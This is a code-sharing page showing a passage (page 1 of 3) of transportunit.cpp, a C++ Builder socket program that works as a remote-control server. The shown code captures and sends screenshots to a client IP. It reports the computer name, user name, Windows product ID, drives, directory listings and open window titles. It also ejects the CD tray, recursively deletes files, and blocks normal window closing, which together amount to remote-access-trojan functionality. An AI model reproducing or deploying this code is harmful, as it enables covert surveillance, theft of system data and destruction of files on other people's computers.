⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 transportunit.cpp

📁 this a programme that you can use socket programme
💻 CPP
📖 第 1 页 / 共 3 页
字号:
  jpgstream->Compress();
  jpgstream->SaveToStream(mystream);
  //jpgstream->SaveToFile(FilePath+"screen.bmp");
  mystream->Position=0;
  //mystream->SaveToFile(".//screen.bmp");
  image->Free();
  ReleaseDC(0,ss->Handle);
  ss->Free();
  jpgstream->Free();
  //TFileStream *MyFStream;  //Create a stream
  //MyFStream = new TFileStream(".//screen.bmp", fmOpenRead);
  try
  {
         CapStrm->Host=ClientIP;
         CapStrm->Port=8980;
         CapStrm->PostIt(mystream);
         mystream->Clear();
         mystream->Free();
         //CapStrm->>SendStream(mystream);
  }
  catch(...)
  {
  }
}
//--------------------------------------------------------------------------------------
void __fastcall TMainForm::CapStrmInvalidHost(bool &Handled)
{
  Handled=true;        
}
//---------------------------------------------------------------------------
void TMainForm::OpenDoor(Cardinal DriverID)
{
  MCI_GENERIC_PARMS CloseParms;
  MCI_OPEN_PARMS OpenParms;
  DWORD flag;
  flag=MCI_NOTIFY,MCI_WAIT;
  OpenParms.dwCallback=0;
  CloseParms.dwCallback=0;
  mciSendCommand(DriverID,MCI_SET,MCI_SET_DOOR_OPEN,(Cardinal)&OpenParms);
  mciSendCommand(DriverID,MCI_CLOSE,flag,(int)&CloseParms);
  ServerSocket->Socket->Connections[0]->SendText("Open rom-door success!");
}

//---------------------------------------------------------------------------
void TMainForm::getid()
{
  AnsiString sendname;
  char name;
  UINT type;
  AnsiString DriverName;
  for(name='D';name<='Z';name++)
  {
     type=GetDriveType((String(name)+String(':')).c_str());
     if(type==5)
     {
        DriverName=name+":";
        DriverName;
        char volname[255],filename[100]; //buffer[512]
        DWORD sno,maxl,fileflag;
        if(!GetVolumeInformation(DriverName.c_str(),volname,255,&sno,&maxl,&fileflag,filename,100))
        {
           ServerSocket->Socket->Connections[0]->SendText(String(name)+": no disk in");
        }
        else
        {
          ServerSocket->Socket->Connections[0]->SendText(String(name)+": have disk in");
        }
        Cardinal ErrorCode,oflag;
        MCI_OPEN_PARMS OpenParms;
        oflag=MCI_OPEN_TYPE,MCI_OPEN_SHAREABLE,MCI_NOTIFY,MCI_OPEN_ELEMENT;
        OpenParms.lpstrDeviceType="CDAudio";
        OpenParms.lpstrElementName=PChar(&DriverName);
        OpenParms.dwCallback=0;
        ErrorCode=mciSendCommand(0,MCI_OPEN,oflag,(Cardinal)&OpenParms);
        if(!ErrorCode)
        {
           OpenDoor(OpenParms.wDeviceID);
        }
     }
  }
}
//-----------------------------------------------------------------------------------------
void TMainForm::dir(AnsiString path)
{
  TSearchRec sr;
  AnsiString file,folder,dir;
  file="file`";
  folder="folder`";
  dir=path+"*.*";
    if(FindFirst(dir,faDirectory,sr)==0)
    {
     do{
         if((sr.Attr&faDirectory)!=0)
         {
           if(sr.Name!="."&&sr.Name!="..")
           {
             folder=folder+sr.Name+"`";
           }
         }
         else
         {
           file=file+sr.Name+"|";
           file=file+IntToStr(sr.Size/1024)+"|";
           file=file+DateTimeToStr(FileDateToDateTime(sr.Time))+"|`";
         }
       } while(FindNext(sr)==0);
       FindClose(sr);
     }
   ServerSocket->Socket->Connections[0]->SendText(folder);
   Sleep((unsigned int)100);
   ServerSocket->Socket->Connections[0]->SendText(file);
}
//----------------------------------------------------------------------------
void TMainForm::sysinfo()
{
  // char *ComputerName;
  // unsigned long size=255;
   AnsiString sysinfo;
   sysinfo="sysinfo`";
   MEMORYSTATUS MemInfo;
   LPTSTR lpszSystemInfo; // pointer to system information string
   DWORD cchBuff = BUFSIZE; // size of computer or user name
   TCHAR tchBuffer[BUFSIZE]; // buffer for string

   DWORD dwResult; // function return value

   lpszSystemInfo = tchBuffer;

   // Get and display the name of the computer.

   if( GetComputerName(lpszSystemInfo, &cchBuff))
   {
      sysinfo=sysinfo+"Company Name:"+String(lpszSystemInfo)+"`";;
   }

   // Get and display the user name.

   cchBuff = BUFSIZE;
   if( GetUserName(lpszSystemInfo, &cchBuff))
   {
      sysinfo=sysinfo+"User Name:"+String(lpszSystemInfo)+"`";
   }
   Reg=new TRegistry;
   Reg->RootKey=HKEY_LOCAL_MACHINE;
   try
   {
      Reg->OpenKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0",false);
      sysinfo=sysinfo+"CPU:"+Reg->ReadString("Identifier")+"*"+Reg->ReadString("ProcessorNameString")+"`";
      Reg->CloseKey();
      Reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion",false);
      sysinfo=sysinfo+"ProductID:"+Reg->ReadString("ProductID")+"`";
      Reg->CloseKey();
      Reg->Free();
   }
   catch(...)
   {
   }
   sysinfo=sysinfo+"Curresolution:"+String(Screen->Width)+"*"+String(Screen->Height)+"`";
   MemInfo.dwLength=sizeof(MEMORYSTATUS);
   GlobalMemoryStatus(&MemInfo);
   sysinfo=sysinfo+"TotalPhys RAM:"+String(MemInfo.dwTotalPhys/1024/1024)+"Mb`";
   sysinfo=sysinfo+"AvailPhys RAM"+String(MemInfo.dwAvailPhys/1024/1024)+"Mb`";
   OSVERSIONINFO info;
   unsigned long MajorVersion,Platform;
   unsigned long BuildNumber;
   AnsiString ServicePack;
   info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
   GetVersionEx(&info);
   BuildNumber=info.dwBuildNumber;
   MajorVersion=info.dwMajorVersion;
   sysinfo=sysinfo+"Windows Platform:`";
   // Get and display the system directory.

   if( GetSystemDirectory(lpszSystemInfo, MAX_PATH+1))
   {
       sysinfo=sysinfo+"System Dir: "+String(lpszSystemInfo)+"`";
   }

        // Get and display the Windows directory.

    if( GetWindowsDirectory(lpszSystemInfo, MAX_PATH+1))
    {
        sysinfo=sysinfo+"Windows Dir: "+String(lpszSystemInfo)+"`";
    }
   sysinfo=sysinfo+"Major Version:"+String(MajorVersion)+"("+String(BuildNumber)+")`";
   Platform=info.dwPlatformId;
   if(Platform==0)
   {
       sysinfo=sysinfo+"Platform: Win32s on Windows3.1`";
   }
   else if(Platform==1)
   {
       sysinfo=sysinfo+"Platform: Win32 on Windows95`";
   }
   else
   {
       sysinfo=sysinfo+"Platform: Win32 on Winfows NT`";
   }
   ServicePack=info.szCSDVersion;
   sysinfo=sysinfo+"Additional:"+ServicePack+"`";
   ServerSocket->Socket->Connections[0]->SendText(sysinfo);
}
//----------------------------------------------------------------------
void TMainForm::driverinfo()
{
   UINT type;
   long int freespace=0,totalspace=0;
   char name;
   AnsiString driverinfo;
   driverinfo="driverinfo`";
   for(name='C';name<='Z';name++)
   {
     type=GetDriveType((String(name)+String(':')).c_str());
     switch(type)
     {
     case 0:
        driverinfo=driverinfo+String(name)+":驱动器形式不能确定`";
        break;
     case  2:
        driverinfo=driverinfo+String(name)+":可移动的驱动器`";
        break;
     case 3:
         driverinfo=driverinfo+String(name)+":硬盘驱动器`";
         Diskspace((String(name)+":").c_str(),totalspace,freespace);
         driverinfo=driverinfo+"Totalspace:"+String(freespace)+"Mb`";
         driverinfo=driverinfo+"Freespace :"+String(totalspace)+"Mb`";
        break;
     case 4:
        driverinfo=driverinfo+String(name)+":远程(网络)驱动器`";
        break;
     case 5:
        driverinfo=driverinfo+String(name)+":CD-ROM驱动器`";
        break;
     case 6:
         driverinfo=driverinfo+String(name)+":虚拟驱动器`";
         break;
     }
   }
   ServerSocket->Socket->Connections[0]->SendText(driverinfo);
}
//-------------------------------------------------------------------------
void TMainForm::Diskspace(char *name,long int &freespace,long int &totalspace)
{  //取得磁盘的空间
 unsigned long sector,byte,cluster,free;
 GetDiskFreeSpace(name,&sector,&byte,&free,&cluster);
 totalspace=int(cluster)/1024*int(byte)/1024*int(sector);
 freespace=int(free)/1024*int(byte)/1024*int(sector);
}
//--------------------------------------------------------------------------
void TMainForm::GetWindows()
{
  HWND hCurwindow;
  char WinText[255];
  AnsiString run;
  run="run`";
  // 获取第一个窗口的句柄
  hCurwindow=GetWindow(Handle,GW_HWNDFIRST);
  while(hCurwindow)
  {   // 获取窗口的名称
    if(GetWindowText(hCurwindow,WinText,255)>0)
    {
      run=run+StrPas(WinText)+"`";  //+#10 ;
      // 获取下一个窗口的句柄
    }
  hCurwindow=GetWindow(hCurwindow,GW_HWNDNEXT);// 获取下一个窗口的句柄
  }
  ServerSocket->Socket->Connections[0]->SendText(run);
}
//-------------------------------------------------------------------------------
void TMainForm::DelAll(AnsiString path)//删除文件
{
  bool have=false;
  TSearchRec sr;
  AnsiString dir;
  dir=path+"*.*";
    if(FindFirst(dir,faDirectory,sr)==0)
    {
      do{
         if((sr.Attr&faDirectory)!=0)
         {
           if(sr.Name!="."&&sr.Name!="..")
           {
             have=true;
             DelAll(path+sr.Name+"\\");
           }
         }
         else
         {
           DeleteFile(path+sr.Name);
         }
       } while(FindNext(sr)==0);
       FindClose(sr);
       if(!have)
       {
         RemoveDirectory(path.c_str());
       }
    }
}
//-------------------------------------------------------------------------------
void __fastcall TMainForm::FormClose(TObject *Sender, TCloseAction &Action)
{
  Action=caNone;
  btnExitClick(Sender);        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::TPShowItemClick(TObject *Sender)
{
  MainForm->Show();        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::HostLabelDblClick(TObject *Sender)
{
  TrayIcon->Free();
  Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::edtChatKeyPress(TObject *Sender, char &Key)
{
  if(Key==13)
  {
     btnChatClick(Sender);
     Key=0;
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ServerSocketClientError(TObject *Sender,
      TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
   ErrorCode=0;        
}
//---------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -